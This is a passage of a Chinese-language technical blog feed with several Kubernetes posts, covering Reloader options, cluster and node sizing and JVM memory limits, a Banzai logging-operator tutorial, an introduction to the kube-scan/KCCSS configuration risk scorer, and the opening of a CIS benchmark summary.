&lt;li&gt;&lt;code&gt;configmap.reloader.stakater.com/reload: &amp;quot;configmap1, configmap2&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;p&gt;Reloader 的命令行还有两个参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--namespaces-to-ignore&lt;/code&gt;：忽略部分命名空间的监听&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--resources-to-ignore&lt;/code&gt;：忽略部分对象的变更&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://github.com/stakater/Reloader&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 集群规模杂谈</title>
      <link>/post/someting-about-cluster-size/</link>
      <pubDate>Sun, 22 Mar 2020 08:38:38 +0800</pubDate>
      <guid>/post/someting-about-cluster-size/</guid>
      <description>

&lt;h2 id=&#34;节点数量&#34;&gt;节点数量&lt;/h2&gt;

&lt;p&gt;早在 Kubernetes 1.2 时候，就已经宣布达到 1000 节点的规模了，在 1.6 版本更达到了 5000 节点的规模。各大厂也都有了各自的超大规模单一集群。然而普罗大众的情况是如何呢？ Sysdig 在 2019 年度容器应用报告中得到的结果是，大于 50 节点规模的集群不足 10%，另外一个佐证是 Mohamed Ahmed 的一篇调查报告中也提供了类似的数据。这种情况的一种解释是，目前的应用阶段还比较早期，处于试探期间；然而从一个侧面来说，Sysdig 的调研对象针对的是生产应用，也就是说处于生产应用状态下的集群，绝大多数都是这种小规模集群。根据对 CNCF Landscape 中 Distribution 分类的产品的抽查，也可以看到随处可见的 Kubernetes As Service 类似功能的实现，这也证实了小集群协作方案的落地趋势。相对于少量大集群，多个小集群的差异在于：&lt;/p&gt;

&lt;h3 id=&#34;隔离程度高&#34;&gt;隔离程度高&lt;/h3&gt;

&lt;p&gt;虽然现在存在不少沙箱容器实现，然而最易用的、生态最为成熟的方案还是 Docker为代表的传统容器方案，传统容器方案所缺失的隔离能力，通过多租户多集群方式是一个非常自然的思路。&lt;/p&gt;

&lt;h3 id=&#34;实现难度低&#34;&gt;实现难度低&lt;/h3&gt;

&lt;p&gt;国内几个大厂都有自己的大规模 Kubernetes 集群实现方式，然而通常需要对基础组件大动干戈，甚至不惜使用无法回流社区的孤岛版本，虽然部分大企业的研究院等相关部门已经具备了非常强的研发实力，然而对于通常的 To B 场景来说，这并不是一个合适的选择。&lt;/p&gt;

&lt;h3 id=&#34;运管成本高&#34;&gt;运管成本高&lt;/h3&gt;

&lt;p&gt;多个集群很明显会需要更多的运维和管理人力的投入。&lt;/p&gt;

&lt;h3 id=&#34;资源利用率低&#34;&gt;资源利用率低&lt;/h3&gt;

&lt;p&gt;多个集群都会有自己的 Master 组件、ETCD 集群、网络组件等，这些都会抢占更多原本属于工作负载的系统资源，客观上降低了资源的总体利用率。&lt;/p&gt;

&lt;h2 id=&#34;节点尺寸&#34;&gt;节点尺寸&lt;/h2&gt;

&lt;p&gt;目前很多 Kubernetes 系统都会使用虚拟机来做为节点。那么虚拟机的资源是多分还是少分呢？下表是一个简单的对比：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;大节点&lt;/th&gt;
&lt;th&gt;小节点&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;节点数量&lt;/td&gt;
&lt;td&gt;少&lt;/td&gt;
&lt;td&gt;多&lt;/td&gt;
&lt;td&gt;同样的资源总量情况下，相对来说小资源节点会得到更多的数量。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;运维成本&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;通常情况下，节点的运维成本是和节点数量正相关的。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;容错能力&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;较大的节点上通常会集中较多的应用，因此在节点出现故障时，可能会带来更大的损失。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;资源粒度&lt;/td&gt;
&lt;td&gt;大&lt;/td&gt;
&lt;td&gt;小&lt;/td&gt;
&lt;td&gt;单节点资源较大，因此其资源粒度也较大。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;应用副本数&lt;/td&gt;
&lt;td&gt;少&lt;/td&gt;
&lt;td&gt;多&lt;/td&gt;
&lt;td&gt;同一应用的多个副本，如果调度到同一个节点上的话，对于提高其负载能力和健壮性来说并无裨益。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;副本规模&lt;/td&gt;
&lt;td&gt;大&lt;/td&gt;
&lt;td&gt;小&lt;/td&gt;
&lt;td&gt;毫无疑问，具备更多资源的大节点，能够运行更大资源需求范围的容器应用。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;系统开销&lt;/td&gt;
&lt;td&gt;少&lt;/td&gt;
&lt;td&gt;多&lt;/td&gt;
&lt;td&gt;每个虚拟机都会有自己的操作系统、网络等基础开销，因此相对于少量大节点来说，大量的小节点会消耗更多的资源。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;虚拟机分配难度&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;过大的节点资源需求，如果采用虚拟机分配，就需要有更大规模的物理机提供支持。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;除了这些原则性的条目之外，更重要的决策依据就是运行在集群上的应用需求。例如某租户的集群需要支撑 20 个应用，共 300 个 Pod，按照常见的每节点 30-50 Pod 的分布，就需要 6-10 个运算节点（Node）。以 10 节点算，加入系统保留、冗余等计算，可能需要 10 * 120G 的虚拟机实例；然而考虑到故障情况——一个节点的故障，最好的结果也是短期内降低 10% 的算力。如果扩张到 40 个 32G 的虚拟机节点，会大幅降低单节点故障的影响——当然也会提高网络的复杂性和效率要求。&lt;/p&gt;

&lt;h2 id=&#34;应用资源&#34;&gt;应用资源&lt;/h2&gt;

&lt;p&gt;Java 应用是特别常见的迁移案例，除掉微服务化、网格、分布式等改造要求之外，资源的申请和限制是一个必须要面对的门槛。requests 是个用于调度的定义，Kubernetes 根据这个要求来选择能够满足要求的节点来分配应用；而 limits 则会用于触发 OOM。&lt;/p&gt;

&lt;p&gt;众所周知的是，Java 的早期版本是无法识别容器内的内存限制的，因此如果没有限制堆内存上限，又开启了 limits，就会被 Kubernetes 杀掉。因此针对容器中运行的情况，需要进行一些启动参数的设置。&lt;/p&gt;

&lt;p&gt;如果允许更新到新版本的 JVM，可以使用新引入的 UseCGroupMemoryLimitForHeap、MaxRAMFraction 参数，让 JVM 直接继承容器的定义。&lt;/p&gt;

&lt;p&gt;如果无法直接升级，那么就有必要设置 xmx 和 xms 参数了，这里有几个小建议：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;xmx 和 xms，request 和 limits 建议设成一致，能省掉很多麻烦。&lt;/li&gt;
&lt;li&gt;tmpfs、filemapping 等都是可能的内存大户。&lt;/li&gt;
&lt;li&gt;JVM 并不是唯一的内存消耗者，一般建议 Limit 大于 XMX 25% 以上。&lt;/li&gt;
&lt;li&gt;/sys/fs/cgroup/memory/memory.stat 是你的好朋友。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;kubernetes-中的-cpu-和内存&#34;&gt;Kubernetes 中的 CPU 和内存&lt;/h2&gt;

&lt;p&gt;Kubernetes 集群中的资源，主要关注的是 CPU 和内存两种。Pod 的定义中会定义对资源需求的声明，声明方式分为 Request 和 Limit。&lt;/p&gt;

&lt;p&gt;Request 是一个调度参数，可以理解为基本需求：一个 Pod 中的所有容器的 Request 之和，就是 Pod 对资源的最小需求，调度器根据这个最小需求来选择具备条件的节点，在其上运行被调度的 Pod。&lt;/p&gt;

&lt;p&gt;Limit 是一个安全参数，它的值一定大于 Request，顾名思义，它声明的是上限：&lt;/p&gt;

&lt;p&gt;CPU是弹性资源，如果容器使用CPU达到Limit，就无法进一步提高运算能力，可能会导致运算速度无法满足需求。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Memory 是非弹性资源，如果容器使用 Memory 达到 Limit，就会触发 cgroup 的 OOM 事件，导致容器被杀死。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;综上所述，Memory超限会对业务产生更大伤害，那么是不是不设限会更安全？答案很显然是否定的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;不设置 Limit，一旦引发系统 OOM 或者驱逐事件，宏观来看，都会导致一个不可预知的结果。&lt;/li&gt;
&lt;li&gt;不设置 Request，Kubernetes 调度器会失去重要的调度标准，会影响负载分布的准确性。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一般来说如果 Limit 大于 Request（称为 Burstable），Kubernetes 会根据 Request 将 Pod 调度到满足 Request 要求的节点上去，然而一旦内存消耗从 Request 向着 Limit 增长的过程中出现了节点内存不足的情况，仍然会引发驱逐问题，因此对于保障级别高的业务，我们强烈建议将 Limit 设置为和 Request 相等。&lt;/p&gt;

&lt;h2 id=&#34;副本和节点数量&#34;&gt;副本和节点数量&lt;/h2&gt;

&lt;p&gt;目前 Kubernetes 的主流网络模型是基于 iptables 的，很显然 Service、Endpoint 和 Pod 并非越多越好。&lt;/p&gt;

&lt;p&gt;而对于应用来说更多的副本数往往意味着更好的容错能力——同样损失一个副本，越多总数意味着业务损失越小。&lt;/p&gt;

&lt;h2 id=&#34;参考资料&#34;&gt;参考资料&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;https://kubernetes.io/docs/tasks/administer-cluster/out-of-resource/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;https://dig.sysdig.com/c/pf-2019-container-usage-report?x=u_WFRi&amp;amp;mkt_tok=eyJpIjoiWW1GbVptUmtOakk1T1RVNCIsInQiOiJCUitxTXpSYUpXbVJOUDBUK09sbDh4aDVDNkZURHFXK0UwdUNEbkp6UG43XC9VamJIbm9obzJ6MDdcL3EwYXRHS0dTMVdrQXlJaEZDUFd5WnE0WUpXa1ZNVHZyRFkrYjlTNmhwb3d4cFk0alBSOHBqY09mY0pkaDV1VkZCeCtOaHpnIn0%3D&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>用 CRD 来控制 Kubernetes 日志流</title>
      <link>/post/intro-logging-operator/</link>
      <pubDate>Tue, 10 Mar 2020 16:31:49 +0800</pubDate>
      <guid>/post/intro-logging-operator/</guid>
      <description>

&lt;h2 id=&#34;概述&#34;&gt;概述&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/banzaicloud/logging-operator&#34; target=&#34;_blank&#34;&gt;Banzai logging operator&lt;/a&gt; 已经出到了 &lt;a href=&#34;https://banzaicloud.com/blog/logging-operator-v3/&#34; target=&#34;_blank&#34;&gt;v3 版本&lt;/a&gt;。这个项目以 Fluentd 为基础，使用 Operator 的实现模式，在 Kubernetes 上用 CRD 的形式，对日志的采集行为进行定制，并进行过滤、路由等操作，最终可以将日志输出到 Elasticsearch、Loki、S3、Kafka 等多种后端。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/logging_operator_flow.png&#34; alt=&#34;flow&#34; /&gt;&lt;/p&gt;

&lt;p&gt;图中可见，Logging 把日志分为了采集、路由和输出三个阶段。这三个阶段对应三种不同的 CRD：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;采集：使用 fluentbit 对日志进行采集&lt;/li&gt;
&lt;li&gt;路由：在 fluentd 中使用多种条件对日志条目进行过滤，并将结果发往目标&lt;/li&gt;
&lt;li&gt;输出：可以定义各种后端用于接收存储日志。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;可以使用 Helm 进行安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;
$ kubectl create ns logging
namespace/logging created

$ helm repo add banzaicloud-stable \
    https://kubernetes-charts.banzaicloud.com
&amp;quot;banzaicloud-stable&amp;quot; has been added to your repositories

$ helm install --namespace logging \
    logging banzaicloud-stable/logging-operator \
    --set createCustomResource=false

...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装之后，会看到 &lt;code&gt;logging&lt;/code&gt; 命名空间中的 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;
$ kubectl get po -n logging
NAME                                         READY   STATUS      RESTARTS   AGE
...
logging-logging-operator-7b4f9987f9-86clp    1/1     Running     0          120m
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;logging&#34;&gt;Logging&lt;/h2&gt;

&lt;p&gt;首先可以定义一个新的 Logging 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: logging.banzaicloud.io/v1beta1
kind: Logging
metadata:
  name: default-logging-simple
spec:
  fluentd: {}
  fluentbit: {}
  controlNamespace: logging
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交到集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f empty-logging.yaml
logging.logging.banzaicloud.io/empty-logging created
$ kubectl get pods
NAME                                         READY   STATUS              RESTARTS   AGE
empty-logging-fluentbit-2pghs                0/1     ContainerCreating   0          0s
empty-logging-fluentbit-cc4r4                0/1     ContainerCreating   0          0s
empty-logging-fluentbit-jzkpr                0/1     ContainerCreating   0          0s
empty-logging-fluentd-0                      0/2     Pending
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Describe 新生成的 Pod，会发现它们加载了几个 Secret 作为配置文件。例如 fluentbit 的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl view-secret empty-logging-fluentbit
Choosing key: fluent-bit.conf
...
[OUTPUT]
    Name          forward
    Match         *
    Host          empty-logging-fluentd.logging.svc
    Port          24240

    Retry_Limit   False
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的配置表明，采集器收集到的日志会输出到 &lt;code&gt;empty-logging-fluentd&lt;/code&gt; 的服务之中。&lt;/p&gt;

&lt;p&gt;追查一下 fluentd 的配置内容，发现其输出配置为空，也就是说，没有提供输出能力。&lt;/p&gt;

&lt;p&gt;查看 operator 的日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl logs -f -l app.kubernetes.io/name=logging-operator
...
{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;ts&amp;quot;:1583835777.4591844,&amp;quot;logger&amp;quot;:&amp;quot;controllers.Logging&amp;quot;,&amp;quot;msg&amp;quot;:&amp;quot;resource created&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;empty-logging-fluentbit&amp;quot;,&amp;quot;namespace&amp;quot;:&amp;quot;logging&amp;quot;,&amp;quot;apiVersion&amp;quot;:&amp;quot;apps/v1&amp;quot;,&amp;quot;kind&amp;quot;:&amp;quot;DaemonSet&amp;quot;}
...
{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;ts&amp;quot;:1583835834.1114376,&amp;quot;logger&amp;quot;:&amp;quot;controllers.Logging&amp;quot;,&amp;quot;msg&amp;quot;:&amp;quot;no flows found, generating empty model&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;输出日志中表示，缺乏 flow 定义。&lt;/p&gt;

&lt;h2 id=&#34;output&#34;&gt;Output&lt;/h2&gt;

&lt;p&gt;先使用 &lt;a href=&#34;/post/es-express/&#34;&gt;Helm 安装 Loki&lt;/a&gt;，然后定义一个 output：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
 name: loki-output
spec:
 loki:
   url: http://loki-1583844504.loki:3100
   configure_kubernetes_labels: true
   buffer:
     timekey: 1m
     timekey_wait: 30s
     timekey_use_utc: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建这个资源之后，Secret 和 Pod 都没发生什么变化，甚至 Operator Pod 的日志都没有输出内容，看来还是需要创建 Flow 将日志输出过去。&lt;/p&gt;

&lt;h2 id=&#34;flow&#34;&gt;Flow&lt;/h2&gt;

&lt;p&gt;创建如下的 Flow 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: loki-flow
spec:
  filters:
    - tag_normaliser: {}
    - parser:
        remove_key_name_field: true
        reserve_data: true
        parse:
          type: nginx
  match:
    - select:
        labels:
          app.kubernetes.io/name: log-generator
  outputRefs:
    - loki-output
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中 &lt;code&gt;filters&lt;/code&gt; 成员中标识了我们要对应用进行的处理，使用 &lt;code&gt;tag_normaliser&lt;/code&gt; 加入 Kubernetes 标签。&lt;/p&gt;

&lt;p&gt;在 &lt;code&gt;match&lt;/code&gt; 中使用标签加入过滤功能，这里选择了 &lt;code&gt;app.kubernetes.io/name: log-generator&lt;/code&gt; 的标签对&lt;/p&gt;

&lt;p&gt;&lt;code&gt;outputRefs&lt;/code&gt; 指定输出到前面创建的 &lt;code&gt;loki-output&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;crd-创建之后&#34;&gt;CRD 创建之后&lt;/h2&gt;

&lt;p&gt;进入 fluentd Pod 的 Shell，会发现配置发生变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cat fluentd/app-config/fluentd.conf

&amp;lt;match **&amp;gt;
...
    &amp;lt;match&amp;gt;
      labels app.kubernetes.io/name:log-generator
      namespaces logging
...
  &amp;lt;match kubernetes.**&amp;gt;
    @type tag_normaliser
    @id loki-flow_0_tag_normaliser
    format ${namespace_name}.${pod_name}.${container_name}
  &amp;lt;/match&amp;gt;
  &amp;lt;filter **&amp;gt;
    @type parser
    @id loki-flow_1_parser
...
    &amp;lt;parse&amp;gt;
      @type nginx
...
  &amp;lt;match **&amp;gt;
    @type loki
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;部署一个应用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
 name: log-generator
spec:
 selector:
   matchLabels:
     app.kubernetes.io/name: log-generator
 replicas: 1
 template:
   metadata:
     labels:
       app.kubernetes.io/name: log-generator
   spec:
     containers:
     - name: nginx
       image: banzaicloud/log-generator:0.3.2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此时打开 Loki 的 Grafana，就能对日志进行查询了：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/grafana.png&#34; alt=&#34;grafana&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;这个产品很好的展示了 Operator 固化运维技能的特征。化繁为简，将日志集采过程中所需的复杂知识，精选为一系列的配置组合，以 CRD 的形式呈现给非专家型客户，开箱即用。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;kubectl 的 view-secret 插件，Bug 比较严重，不要问我是怎么知道的。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>kube-scan 和 KCCSS</title>
      <link>/post/intro-kubescan-and-kccss/</link>
      <pubDate>Sun, 01 Mar 2020 01:55:44 +0800</pubDate>
      <guid>/post/intro-kubescan-and-kccss/</guid>
      <description>

&lt;p&gt;在 Kubernetes 中使用声明式 API 来定义工作负载，因为工作负载的灵活多变，这种定义的随意性是很大的，很容易因为复制黏贴、手工运维等原因给 Pod 分配不需要的特权，造成安全隐患。&lt;a href=&#34;https://github.com/octarinesec/kube-scan&#34; target=&#34;_blank&#34;&gt;kube-scan&lt;/a&gt; 就是针对这种情况而出现的一个工具，它根据内置的二十几个检查项目，对工作负载描述的安全性进行打分，从最安全的 0 分，到最危险的 10 分。&lt;/p&gt;

&lt;p&gt;kube-scan 所使用的计分项和算法，被称为 &lt;a href=&#34;https://github.com/octarinesec/kccss&#34; target=&#34;_blank&#34;&gt;Kubernetes Common Configuration Scoring System (KCCSS)&lt;/a&gt;，是一套仿造 &lt;a href=&#34;https://www.first.org/cvss/user-guide&#34; target=&#34;_blank&#34;&gt;CVSS&lt;/a&gt; 的 Kubernetes 配置评分系统，它从对完整性、可用性和保密性三个方面的威胁来评价安全漏洞，评分标准对降低工作负载安全性的评价，如果在同样方面已经做出了合适的补救措施，还可以挽回这部分的扣减。&lt;/p&gt;

&lt;h2 id=&#34;快速开始&#34;&gt;快速开始&lt;/h2&gt;

&lt;p&gt;老一套的部署方式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f \
    https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan.yaml
namespace/kube-scan created
configmap/kube-scan created
serviceaccount/kube-scan created
clusterrole.rbac.authorization.k8s.io/kube-scan created
clusterrolebinding.rbac.authorization.k8s.io/kube-scan created
deployment.apps/kube-scan created
service/kube-scan-ui created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到创建了一个新的命名空间 &lt;code&gt;kube-scan&lt;/code&gt;，其中有一个 &lt;code&gt;kube-scan-ui:80&lt;/code&gt; 的服务。尝试访问一下，页面会显示出当前集群中运行的有风险载荷，例如使用 Helm 缺省安装的 Traefik：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/traefik.png&#34; alt=&#34;Traefik&#34; /&gt;&lt;/p&gt;

&lt;p&gt;点击 &lt;code&gt;show more&lt;/code&gt;，会显示对应问题的详细信息：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/traefik2.png&#34; alt=&#34;More&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;往前一步&#34;&gt;往前一步&lt;/h2&gt;

&lt;p&gt;通过对部署文件的观察，会发现这个 Pod 里有两个容器，分别命名为 &lt;code&gt;kube-scan-ui&lt;/code&gt; 和 &lt;code&gt;kube-scan&lt;/code&gt;，粗浅判断这是一个前后端分离的任务。在浏览器中打开调试工具，会发现对 &lt;code&gt;&amp;lt;host-name&amp;gt;/api/risks&lt;/code&gt; 的访问，直接访问这个地址，会拿到一个 JSON 响应：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;data&amp;quot;: [{
        &amp;quot;kind&amp;quot;: &amp;quot;Deployment&amp;quot;,
        &amp;quot;name&amp;quot;: &amp;quot;traefik-1583034161&amp;quot;,
        &amp;quot;namespace&amp;quot;: &amp;quot;infra&amp;quot;,
        &amp;quot;domain&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;risk&amp;quot;: {
            &amp;quot;riskScore&amp;quot;: 7,
            &amp;quot;riskCategory&amp;quot;: &amp;quot;Medium&amp;quot;,
            &amp;quot;riskItems&amp;quot;: [{
                    &amp;quot;name&amp;quot;: &amp;quot;AllowPrivilegeEscalation&amp;quot;,
                    &amp;quot;riskCategory&amp;quot;: &amp;quot;Low&amp;quot;,
                    &amp;quot;type&amp;quot;: &amp;quot;Basic&amp;quot;,
                    &amp;quot;title&amp;quot;: &amp;quot;Workload allows privilege escalation&amp;quot;,
                    &amp;quot;shortDescription&amp;quot;: &amp;quot;Privilege escalation allows programs inside the container to run as root&amp;quot;,
                    &amp;quot;description&amp;quot;: &amp;quot;Privilege escalation allows programs inside the container to run as root, even if the main process is not root, which can give those programs control over that container, host and even cluster&amp;quot;,
                    &amp;quot;confidentiality&amp;quot;: &amp;quot;Low&amp;quot;,
                    &amp;quot;confidentialityDescription&amp;quot;: &amp;quot;Root processes that can escape the containers have the ability to read secrets from Kubernetes, Docker and other applications&amp;quot;,
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样一来，我们就可以考虑，将 UI 部分去掉，仅留下后端服务。如此一来，就可以通过简单的代码，把扫描过程集成到日常运维工作之中了。&lt;/p&gt;

&lt;h2 id=&#34;另外一些小秘密&#34;&gt;另外一些小秘密&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;kube-scan&lt;/code&gt; 的文档非常贫瘠，因此只能从 YAML 和源码中找到一些东西。&lt;/p&gt;

&lt;h3 id=&#34;刷新时间&#34;&gt;刷新时间&lt;/h3&gt;

&lt;p&gt;YAML 中有一个环境变量 &lt;code&gt;KUBESCAN_REFRESH_STATE_INTERVAL_MINUTES&lt;/code&gt;，原定的刷新时间是 1440 分钟也就是 24 小时。修改这一变量就能进行更快的刷新了。&lt;/p&gt;

&lt;h3 id=&#34;kccss-配置&#34;&gt;KCCSS 配置&lt;/h3&gt;

&lt;p&gt;安装过程中生成了一个 Configmap 对象 &lt;code&gt;kube-scan&lt;/code&gt;，其中保存了 kube-scan 的评价标准，在他的代码中可以看到已经支持的各种威胁和补救措施。&lt;code&gt;basic&lt;/code&gt; 节点中列出了目前能够判断的威胁列表，例如下面的定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- name: &amp;quot;privileged&amp;quot;
  title: &amp;quot;Workload is privileged&amp;quot;
  shortDescription: &amp;quot;Processes inside a privileged containers get full access to the host&amp;quot;
  description: &amp;quot;...&amp;quot;
  confidentiality: &amp;quot;High&amp;quot;
  confidentialityDescription: &amp;quot;...&amp;quot;
  integrity: &amp;quot;Low&amp;quot;
  integrityDescription: &amp;quot;...&amp;quot;
  availability: &amp;quot;Low&amp;quot;
  availabilityDescription: &amp;quot;...&amp;quot;
  exploitability: &amp;quot;Moderate&amp;quot;
  attackVector: &amp;quot;Local&amp;quot;
  scope: &amp;quot;Host&amp;quot;
  handler: &amp;quot;IsPrivileged&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中有一些非常易读的关键信息，例如问题的名称、标题、描述，以及对完整性、可用性和保密性的影响级别，最后是攻击来源、难度和范围。&lt;/p&gt;

&lt;h3 id=&#34;评分方法&#34;&gt;评分方法&lt;/h3&gt;

&lt;p&gt;定时对工作负载进行检查，然后调用源码 &lt;code&gt;formula.go&lt;/code&gt; 中实现的评分过程，整体流程如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GetHandler&lt;/code&gt; 根据配置文件中的 &lt;code&gt;handler&lt;/code&gt; 字段获取处理方法。&lt;/li&gt;
&lt;li&gt;用查询到的 Handler 函数对工作负载进行检查，如果存在该问题，则根据问题涉及范围，检查该工作负载是否已经有针对性的进行了加固，以此来调整该项目得分。&lt;/li&gt;
&lt;li&gt;根据 Risk 和 Remediation 生成结果列表。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;注意如下命名空间是硬编码忽略的
{&amp;ldquo;octarine&amp;rdquo;, &amp;ldquo;kube-system&amp;rdquo;, &amp;ldquo;kube-public&amp;rdquo;, &amp;ldquo;octarine-tiller&amp;rdquo;, &amp;ldquo;istio-system&amp;rdquo;, &amp;ldquo;octarine-dataplane&amp;rdquo;, &amp;ldquo;kube-scan&amp;rdquo;}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;结论&#34;&gt;结论&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;KCCSS 和 kube-scan 两个项目的文档都非常稀少，很不友好。&lt;/li&gt;
&lt;li&gt;特征库更新困难，需要同时更新源码和配置。&lt;/li&gt;
&lt;li&gt;仅提供了对全集群进行扫描，实际应用的情况下，如果能加入单个对象进行检查的手段可能会更加实用。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>简介：CIS Kubernetes 安全基准指南</title>
      <link>/post/cis-benchmark-brief/</link>
      <pubDate>Sat, 22 Feb 2020 21:24:06 +0800</pubDate>
      <guid>/post/cis-benchmark-brief/</guid>
      <description>

&lt;p&gt;在使用 &lt;a href=&#34;https://github.com/aquasecurity/kube-bench&#34; target=&#34;_blank&#34;&gt;Kube Bench&lt;/a&gt; 的过程中注意到，其指导依据来自于 &lt;a href=&#34;https://www.cisecurity.org/benchmark/kubernetes/&#34; target=&#34;_blank&#34;&gt;CIS Benchmark&lt;/a&gt;，于是顺藤摸瓜，下载了 CIS Kubernetews Be nchmark 的 PDF 版本，全文有两百多页，阅读量还蛮大的，因此对其进行整理，便于大家参考使用。&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;CIS 的指导原则里把建议行为分成了两级：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;一级：使用该建议不会造成负面影响。&lt;/li&gt;
